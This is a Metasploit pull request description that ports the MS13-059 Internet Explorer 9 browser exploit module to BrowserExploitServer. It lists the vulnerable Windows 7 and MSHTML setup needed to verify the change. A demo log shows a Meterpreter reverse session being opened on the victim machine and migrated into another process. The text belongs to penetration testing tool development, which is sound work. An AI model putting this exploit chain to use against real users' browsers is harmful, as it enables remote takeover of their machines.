rapid7/metasploit-framework — pull request #3151 by wchen-r7 (2014-03-27 06:00:42+00:00)
Title: Use BrowserExploitServer for MS13-059 module

This uses BrowserExploitServer for the MS13-059 module.

### Verification ###

Before you start processing this, you should make sure #3150 lands first, because if not, ```os_detect``` probably won't be able to recognize your IE 9 correctly. After that's landed, then make sure you have the following setup:

- [ ] Windows 7 SP1
- [ ] Internet Explorer 9. The vulnerable MSHTML file version (not the version you see in About) is between: May 17 2012 to Jun 2013. This one should be vulnerable: http://technet.microsoft.com/en-us/security/bulletin/ms13-may
- [ ] Java 1.6 (for the ROP)

Demo:

```
msf exploit(ms13_059_cflatmarkuppointer) > [*] 10.0.1.90 ms13_059_cflatmarkuppointer - Gathering target information.
[*] 10.0.1.90 ms13_059_cflatmarkuppointer - Sending response HTML.
[*] Sending stage (769536 bytes) to 10.0.1.90
[*] Meterpreter session 1 opened (10.0.1.76:4444 -> 10.0.1.90:50411) at 2014-03-27 00:58:06 -0500
[*] Session ID 1 (10.0.1.76:4444 -> 10.0.1.90:50411) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2672)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3560
[+] Successfully migrated to process
```